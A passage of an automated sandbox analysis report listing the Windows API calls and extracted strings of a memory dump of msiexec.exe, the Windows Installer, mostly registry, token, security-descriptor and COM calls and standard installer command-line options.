GlobalFree.KERNEL32 ref: 000000010000D5C5
GlobalFree.KERNEL32 ref: 000000010000D5E1
GlobalFree.KERNEL32 ref: 000000010000D5FD
GlobalFree.KERNEL32 ref: 000000010000D619
CloseHandle.KERNEL32 ref: 000000010000D65B
CloseHandle.KERNEL32 ref: 000000010000D721
GlobalFree.KERNEL32 ref: 000000010000D78F
GlobalFree.KERNEL32 ref: 000000010000D7AB
GlobalFree.KERNEL32 ref: 000000010000D7C7
GlobalFree.KERNEL32 ref: 000000010000D7E3
MsgWaitForMultipleObjects.USER32 ref: 000000010000D889
CloseHandle.KERNEL32 ref: 000000010000D8AC
OpenProcess.KERNEL32 ref: 000000010000D8D6
TranslateMessage.USER32 ref: 000000010000D90F
DispatchMessageW.USER32 ref: 000000010000D91D
PeekMessageW.USER32 ref: 000000010000D93B
MsgWaitForMultipleObjects.USER32 ref: 000000010000D968
CloseHandle.KERNEL32 ref: 000000010000D981
GetLastError.KERNEL32 ref: 000000010000D987
GlobalFree.KERNEL32 ref: 000000010000D9B6
GlobalFree.KERNEL32 ref: 000000010000D9D2
GlobalFree.KERNEL32 ref: 000000010000D9EE
GlobalFree.KERNEL32 ref: 000000010000DA0A
CloseHandle.KERNEL32 ref: 000000010000DA1F
CloseHandle.KERNEL32 ref: 000000010000DA33
GlobalFree.KERNEL32 ref: 000000010000DA54
GlobalFree.KERNEL32 ref: 000000010000DA70
GlobalFree.KERNEL32 ref: 000000010000DA8C
GlobalFree.KERNEL32 ref: 000000010000DAA8
GlobalFree.KERNEL32 ref: 000000010000DAC4
CoRevokeClassObject.OLE32 ref: 000000010000DAEA
CoUninitialize.OLE32 ref: 000000010000DAF0

Part of subcall function 000000010000ADEC: memset.MSVCRT ref: 000000010000AE30
Part of subcall function 000000010000ADEC: #197.MSI ref: 000000010000AE5B
Part of subcall function 000000010000ADEC: GetACP.KERNEL32 ref: 000000010000AE6B
Part of subcall function 000000010000ADEC: LoadLibraryW.KERNEL32 ref: 000000010000AE7A
Part of subcall function 000000010000ADEC: GetProcAddress.KERNEL32 ref: 000000010000AE92
Part of subcall function 000000010000ADEC: GetLocaleInfoW.KERNEL32 ref: 000000010000AEB5
Part of subcall function 000000010000ADEC: FreeLibrary.KERNEL32 ref: 000000010000AEC6
Part of subcall function 000000010000ADEC: FormatMessageW.KERNEL32 ref: 000000010000AEF4
Part of subcall function 000000010000ADEC: memset.MSVCRT ref: 000000010000AF77
Part of subcall function 000000010000ADEC: GetVersionExW.KERNEL32 ref: 000000010000AF85
Part of subcall function 000000010000ADEC: GlobalAlloc.KERNEL32 ref: 000000010000AFA7
Part of subcall function 000000010000ADEC: GlobalFree.KERNEL32 ref: 000000010000AFC4
Part of subcall function 000000010000ADEC: #197.MSI ref: 000000010000AFEC
Part of subcall function 000000010000ADEC: #199.MSI ref: 000000010000B046
Part of subcall function 000000010000ADEC: GlobalFree.KERNEL32 ref: 000000010000B056
Part of subcall function 000000010000ADEC: lstrlenW.KERNEL32 ref: 000000010000B071
Part of subcall function 000000010000ADEC: WriteFile.KERNEL32 ref: 000000010000B094
Part of subcall function 000000010000ADEC: WriteFile.KERNEL32 ref: 000000010000B0B8

CloseHandle.KERNEL32 ref: 000000010000DB23
GetLastError.KERNEL32 ref: 000000010000DB37

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GetMessageW.USER32 ref: 000000010000DB6A
TranslateMessage.USER32 ref: 000000010000DB97
DispatchMessageW.USER32 ref: 000000010000DBA5
GlobalFree.KERNEL32 ref: 000000010000DBBF
GlobalFree.KERNEL32 ref: 000000010000DBEF

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

3w, xrefs: 000000010000CB41
update, xrefs: 000000010000BB66
/qb!- REBOOTPROMPT=S, xrefs: 000000010000BC16
@dw, xrefs: 000000010000D3D5
norestart, xrefs: 000000010000BC2D
RUVEH?IJDqXFAtPYZlgmnc, xrefs: 000000010000C150, 000000010000C4E0, 000000010000C70B, 000000010000C819
ServerMain (CA): Wait on synchronization event failed, xrefs: 000000010000CC83
REBOOT=ReallySuppress, xrefs: 000000010000BC44
ServerMain (CA): CoInitializeSecurity failed, xrefs: 000000010000D19E
help, xrefs: 000000010000BBAE
MSIPATCHREMOVE=, xrefs: 000000010000BD45
ServerMain (CA): Process not registered with service., xrefs: 000000010000D516
ServerMain (CA): Open synchronization event failed, xrefs: 000000010000DB3D
package, xrefs: 000000010000BBC4, 000000010000BE03
ServerMain (CA): Connection to Service failed., xrefs: 000000010000D370
ServerMain (CA): Impersonation token not saved., xrefs: 000000010000D73C
/l*, xrefs: 000000010000BCCE
-, xrefs: 000000010000BECA
-, xrefs: 000000010000B826
REBOOT=Force, xrefs: 000000010000BC72
OpenProcessToken failed with %d, xrefs: 000000010000CD2B
PGw, xrefs: 000000010000D251, 000000010000D286
DllGetClassObject, xrefs: 000000010000D3EB
/, xrefs: 000000010000BED0
ServerMain (CA): Could not open synchronization handle., xrefs: 000000010000D570, 000000010000D98D
quiet, xrefs: 000000010000BBD3
/, xrefs: 000000010000B820
ServerMain (CA): Error: icacContext in CA server should be EEUI but is not any impersonated type, xrefs: 000000010000CD73
Software\Microsoft\Windows\CurrentVersion\Installer\RunOnceEntries, xrefs: 000000010000B8F0
passive, xrefs: 000000010000BBFF
/qn, xrefs: 000000010000BBE8
log, xrefs: 000000010000BCB7
uninstall, xrefs: 000000010000BB7D
promptrestart, xrefs: 000000010000BC89
forcerestart, xrefs: 000000010000BC5B
REBOOTPROMPT="", xrefs: 000000010000BCA0
OLEAUT32.dll, xrefs: 000000010000C9A0
Msi.dll, xrefs: 000000010000D3CE

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000B674, Relevance: 308.3, APIs: 140, Strings: 35, Instructions: 2079windowregistrythread

APIs

GetVersionExW.KERNEL32 ref: 000000010000B6DF
GetCommandLineW.KERNEL32 ref: 000000010000B730
GetStdHandle.KERNEL32 ref: 000000010000B780
GetFileType.KERNEL32 ref: 000000010000B796
memset.MSVCRT ref: 000000010000B7CB
memset.MSVCRT ref: 000000010000B7E6
GlobalFree.KERNEL32 ref: 000000010000B8A9
GlobalFree.KERNEL32 ref: 000000010000B8D9
RegOpenKeyExW.ADVAPI32 ref: 000000010000B922
RegQueryValueExW.ADVAPI32 ref: 000000010000B963
GlobalAlloc.KERNEL32 ref: 000000010000B98E
GlobalFree.KERNEL32 ref: 000000010000B9BF
RegQueryValueExW.ADVAPI32 ref: 000000010000B9FE
RegCloseKey.ADVAPI32 ref: 000000010000BA0B
GlobalFree.KERNEL32 ref: 000000010000BA5E
GlobalFree.KERNEL32 ref: 000000010000BA8E
GlobalFree.KERNEL32 ref: 000000010000BAB0
GlobalFree.KERNEL32 ref: 000000010000BAE0
GlobalAlloc.KERNEL32 ref: 000000010000BB28
GlobalFree.KERNEL32 ref: 000000010000BB59
memcpy.MSVCRT ref: 000000010000BD58
CompareStringW.KERNEL32 ref: 000000010000BDE9
CompareStringW.KERNEL32 ref: 000000010000BE23
CompareStringW.KERNEL32 ref: 000000010000BF04

Part of subcall function 0000000100007B8C: StringCchCopyNW.MUILOAD ref: 0000000100007C54

GlobalFree.KERNEL32 ref: 000000010000C0A9
GlobalFree.KERNEL32 ref: 000000010000C0D9
memset.MSVCRT ref: 000000010000C189

Part of subcall function 000000010000B398: IsCharAlphaNumericW.USER32 ref: 000000010000B3C6
Part of subcall function 000000010000B398: GlobalFree.KERNEL32 ref: 000000010000B4B6
Part of subcall function 000000010000B398: GlobalAlloc.KERNEL32 ref: 000000010000B4DF
Part of subcall function 000000010000B398: StringCchCopyNW.MUILOAD ref: 000000010000B505

lstrlenW.KERNEL32 ref: 000000010000C1D9

Part of subcall function 000000010000F00C: GlobalAlloc.KERNEL32 ref: 000000010000F034
Part of subcall function 000000010000F00C: GlobalFree.KERNEL32 ref: 000000010000F07B

StringCchCopyW.MUILOAD ref: 000000010000C237
GlobalFree.KERNEL32 ref: 000000010000C286
lstrlenW.KERNEL32 ref: 000000010000C34C
GlobalAlloc.KERNEL32 ref: 000000010000C365
GlobalFree.KERNEL32 ref: 000000010000C398

Part of subcall function 000000010000B2C8: memcpy.MSVCRT ref: 000000010000B34D

Part of subcall function 000000010000B620: GetVersion.KERNEL32 ref: 000000010000B624
Part of subcall function 000000010000B620: GetModuleHandleW.KERNEL32 ref: 000000010000B63B
Part of subcall function 000000010000B620: GetProcAddress.KERNEL32 ref: 000000010000B650

Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007D60
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007D89
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007DAB
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007DCC
Part of subcall function 0000000100007CFC: #197.MSI ref: 0000000100007DFA
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007E1F
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E43
Part of subcall function 0000000100007CFC: GetModuleFileNameW.KERNEL32 ref: 0000000100007E63
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E78
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007E9A
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007EBF
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F1A
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F3C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007F61
Part of subcall function 0000000100007CFC: GlobalAlloc.KERNEL32 ref: 0000000100007F94
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100007FCC
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008054
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000807C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000809E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000080C3
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000080E4
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000810C
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000812E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008153
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081B5
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081DD
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000081FF
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008224
Part of subcall function 0000000100007CFC: #280.MSI ref: 000000010000828D
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082A3
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082CB
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000082ED
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008312
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008326
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000834E
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008370
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008395
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083B0
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083D2
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 00000001000083F7
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 000000010000840F
Part of subcall function 0000000100007CFC: GlobalFree.KERNEL32 ref: 0000000100008434

GlobalFree.KERNEL32 ref: 000000010000C73F
GlobalFree.KERNEL32 ref: 000000010000C780
GlobalFree.KERNEL32 ref: 000000010000C7B3
GlobalFree.KERNEL32 ref: 000000010000C8B6
GlobalFree.KERNEL32 ref: 000000010000C8E9
CoInitialize.OLE32 ref: 000000010000C99A

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

CoRegisterClassObject.OLE32 ref: 000000010000C9ED
GlobalFree.KERNEL32 ref: 000000010000CACA
GlobalFree.KERNEL32 ref: 000000010000CAFD
GetCurrentThread.KERNEL32 ref: 000000010000CB41
OpenThreadToken.ADVAPI32 ref: 000000010000CB59
GetLastError.KERNEL32 ref: 000000010000CB6C
RevertToSelf.ADVAPI32 ref: 000000010000CB82
RegCloseKey.ADVAPI32 ref: 000000010000CB92
RegEnumKeyW.ADVAPI32 ref: 000000010000CBA3
RevertToSelf.ADVAPI32 ref: 000000010000CBAE
GetCurrentProcess.KERNEL32 ref: 000000010000CBB9
OpenProcessToken.ADVAPI32 ref: 000000010000CBCD

Part of subcall function 0000000100005350: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000053C2
Part of subcall function 0000000100005350: GetLastError.KERNEL32 ref: 00000001000053CC
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053D9
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 00000001000053F0
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053FD
Part of subcall function 0000000100005350: memcpy.MSVCRT ref: 0000000100005415
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 000000010000542E

OpenEventW.KERNEL32 ref: 000000010000CC45
WaitForSingleObject.KERNEL32 ref: 000000010000CC67
CloseHandle.KERNEL32 ref: 000000010000CC72
GetTokenInformation.ADVAPI32 ref: 000000010000CCC3
EqualSid.ADVAPI32 ref: 000000010000CCD9
CloseHandle.KERNEL32 ref: 000000010000CCF0
GetLastError.KERNEL32 ref: 000000010000CCFD
memset.MSVCRT ref: 000000010000CD1E

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

GlobalFree.KERNEL32 ref: 000000010000CD92

Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005578
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000055B1
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000055C9
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005603
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000561E
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005660
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000567B
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000056B8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000056D3
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005710
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005751
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000576D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005787
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000057C0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000057D8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005812
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005829
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 000000010000586B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005882
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000589E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000058B8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000058F2
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005906
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005945
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005963
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000597F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005999
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000059D3
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000059EB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A2A
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005A41
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A7D
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005AA8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005AC4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005ADE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B18
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005B2C
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B6B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005B98
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BB4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BCE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C07
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C1F
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C59
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C70
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005CB2
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005CCC
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005CE8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D02
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D3C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D54
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D8D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005DA4
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005DE6
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005E0F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E2B
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E45
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005E7E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E96
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005ED0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005EEB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005F2D
Part of subcall function 0000000100005460: GetLengthSid.ADVAPI32 ref: 0000000100005F84
Part of subcall function 0000000100005460: memset.MSVCRT ref: 0000000100005FAE
Part of subcall function 0000000100005460: GlobalAlloc.KERNEL32 ref: 0000000100005FD8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006010
Part of subcall function 0000000100005460: InitializeAcl.ADVAPI32 ref: 0000000100006030
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000603A
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 000000010000605C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006076
Part of subcall function 0000000100005460: AddAccessAllowedAce.ADVAPI32 ref: 00000001000060AB
Part of subcall function 0000000100005460: GetAce.ADVAPI32 ref: 00000001000060CC
Part of subcall function 0000000100005460: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000100006104
Part of subcall function 0000000100005460: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000100006129
Part of subcall function 0000000100005460: SetSecurityDescriptorOwner.ADVAPI32 ref: 0000000100006145
Part of subcall function 0000000100005460: SetSecurityDescriptorGroup.ADVAPI32 ref: 0000000100006166
Part of subcall function 0000000100005460: GetSecurityDescriptorLength.ADVAPI32 ref: 000000010000617C
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061A5
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000061BF
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000061D4
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061F6
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006210
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100006220
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 0000000100006242
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000625C
Part of subcall function 0000000100005460: MakeSelfRelativeSD.ADVAPI32 ref: 000000010000627F
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000628D
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062AF
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000062C9
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000062D6
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062F8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006312
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000631F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000633B

CloseHandle.KERNEL32 ref: 000000010000CE09
GlobalFree.KERNEL32 ref: 000000010000CE24
GlobalAlloc.KERNEL32 ref: 000000010000CE75
memset.MSVCRT ref: 000000010000CEA6
GlobalAlloc.KERNEL32 ref: 000000010000CECB
memset.MSVCRT ref: 000000010000CEF5
GlobalAlloc.KERNEL32 ref: 000000010000CF22
memset.MSVCRT ref: 000000010000CF4C
GlobalAlloc.KERNEL32 ref: 000000010000CF79
memset.MSVCRT ref: 000000010000CFA6
GlobalAlloc.KERNEL32 ref: 000000010000CFD3
memset.MSVCRT ref: 000000010000D005
MakeAbsoluteSD.ADVAPI32 ref: 000000010000D085
GetLastError.KERNEL32 ref: 000000010000D094
CloseHandle.KERNEL32 ref: 000000010000D0AA
GlobalFree.KERNEL32 ref: 000000010000D0C6
GlobalFree.KERNEL32 ref: 000000010000D0E2
GlobalFree.KERNEL32 ref: 000000010000D0FE
GlobalFree.KERNEL32 ref: 000000010000D11A
GlobalFree.KERNEL32 ref: 000000010000D13E
CloseHandle.KERNEL32 ref: 000000010000D198
GlobalFree.KERNEL32 ref: 000000010000D1C2
GlobalFree.KERNEL32 ref: 000000010000D1DE
GlobalFree.KERNEL32 ref: 000000010000D1FA
GlobalFree.KERNEL32 ref: 000000010000D216
GlobalFree.KERNEL32 ref: 000000010000D23A
CreateEventW.KERNEL32 ref: 000000010000D251
CloseHandle.KERNEL32 ref: 000000010000D271
CreateEventW.KERNEL32 ref: 000000010000D286
CloseHandle.KERNEL32 ref: 000000010000D2A8
GlobalFree.KERNEL32 ref: 000000010000D2C9
GlobalFree.KERNEL32 ref: 000000010000D2E5
GlobalFree.KERNEL32 ref: 000000010000D301
GlobalFree.KERNEL32 ref: 000000010000D31D

Part of subcall function 000000010000B540: memset.MSVCRT ref: 000000010000B59D

CloseHandle.KERNEL32 ref: 000000010000D36A
LoadLibraryW.KERNEL32 ref: 000000010000D3D5
GetProcAddress.KERNEL32 ref: 000000010000D3F5
CloseHandle.KERNEL32 ref: 000000010000D510
OpenProcess.KERNEL32 ref: 000000010000D542
CloseHandle.KERNEL32 ref: 000000010000D564
GetLastError.KERNEL32 ref: 000000010000D56A
GlobalFree.KERNEL32 ref: 000000010000D5C5
GlobalFree.KERNEL32 ref: 000000010000D5E1
GlobalFree.KERNEL32 ref: 000000010000D5FD
GlobalFree.KERNEL32 ref: 000000010000D619
CloseHandle.KERNEL32 ref: 000000010000D65B
CloseHandle.KERNEL32 ref: 000000010000D721
GlobalFree.KERNEL32 ref: 000000010000D78F
GlobalFree.KERNEL32 ref: 000000010000D7AB
GlobalFree.KERNEL32 ref: 000000010000D7C7
GlobalFree.KERNEL32 ref: 000000010000D7E3
MsgWaitForMultipleObjects.USER32 ref: 000000010000D889
CloseHandle.KERNEL32 ref: 000000010000D8AC
OpenProcess.KERNEL32 ref: 000000010000D8D6
TranslateMessage.USER32 ref: 000000010000D90F
DispatchMessageW.USER32 ref: 000000010000D91D
PeekMessageW.USER32 ref: 000000010000D93B
MsgWaitForMultipleObjects.USER32 ref: 000000010000D968
CloseHandle.KERNEL32 ref: 000000010000D981
GetLastError.KERNEL32 ref: 000000010000D987
GlobalFree.KERNEL32 ref: 000000010000D9B6
GlobalFree.KERNEL32 ref: 000000010000D9D2
GlobalFree.KERNEL32 ref: 000000010000D9EE
GlobalFree.KERNEL32 ref: 000000010000DA0A
CloseHandle.KERNEL32 ref: 000000010000DA1F
CloseHandle.KERNEL32 ref: 000000010000DA33
GlobalFree.KERNEL32 ref: 000000010000DA54
GlobalFree.KERNEL32 ref: 000000010000DA70
GlobalFree.KERNEL32 ref: 000000010000DA8C
GlobalFree.KERNEL32 ref: 000000010000DAA8
GlobalFree.KERNEL32 ref: 000000010000DAC4
CoRevokeClassObject.OLE32 ref: 000000010000DAEA
CoUninitialize.OLE32 ref: 000000010000DAF0

Part of subcall function 000000010000ADEC: memset.MSVCRT ref: 000000010000AE30
Part of subcall function 000000010000ADEC: #197.MSI ref: 000000010000AE5B
Part of subcall function 000000010000ADEC: GetACP.KERNEL32 ref: 000000010000AE6B
Part of subcall function 000000010000ADEC: LoadLibraryW.KERNEL32 ref: 000000010000AE7A
Part of subcall function 000000010000ADEC: GetProcAddress.KERNEL32 ref: 000000010000AE92
Part of subcall function 000000010000ADEC: GetLocaleInfoW.KERNEL32 ref: 000000010000AEB5
Part of subcall function 000000010000ADEC: FreeLibrary.KERNEL32 ref: 000000010000AEC6
Part of subcall function 000000010000ADEC: FormatMessageW.KERNEL32 ref: 000000010000AEF4
Part of subcall function 000000010000ADEC: memset.MSVCRT ref: 000000010000AF77
Part of subcall function 000000010000ADEC: GetVersionExW.KERNEL32 ref: 000000010000AF85
Part of subcall function 000000010000ADEC: GlobalAlloc.KERNEL32 ref: 000000010000AFA7
Part of subcall function 000000010000ADEC: GlobalFree.KERNEL32 ref: 000000010000AFC4
Part of subcall function 000000010000ADEC: #197.MSI ref: 000000010000AFEC
Part of subcall function 000000010000ADEC: #199.MSI ref: 000000010000B046
Part of subcall function 000000010000ADEC: GlobalFree.KERNEL32 ref: 000000010000B056
Part of subcall function 000000010000ADEC: lstrlenW.KERNEL32 ref: 000000010000B071
Part of subcall function 000000010000ADEC: WriteFile.KERNEL32 ref: 000000010000B094
Part of subcall function 000000010000ADEC: WriteFile.KERNEL32 ref: 000000010000B0B8

CloseHandle.KERNEL32 ref: 000000010000DB23
GetLastError.KERNEL32 ref: 000000010000DB37

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
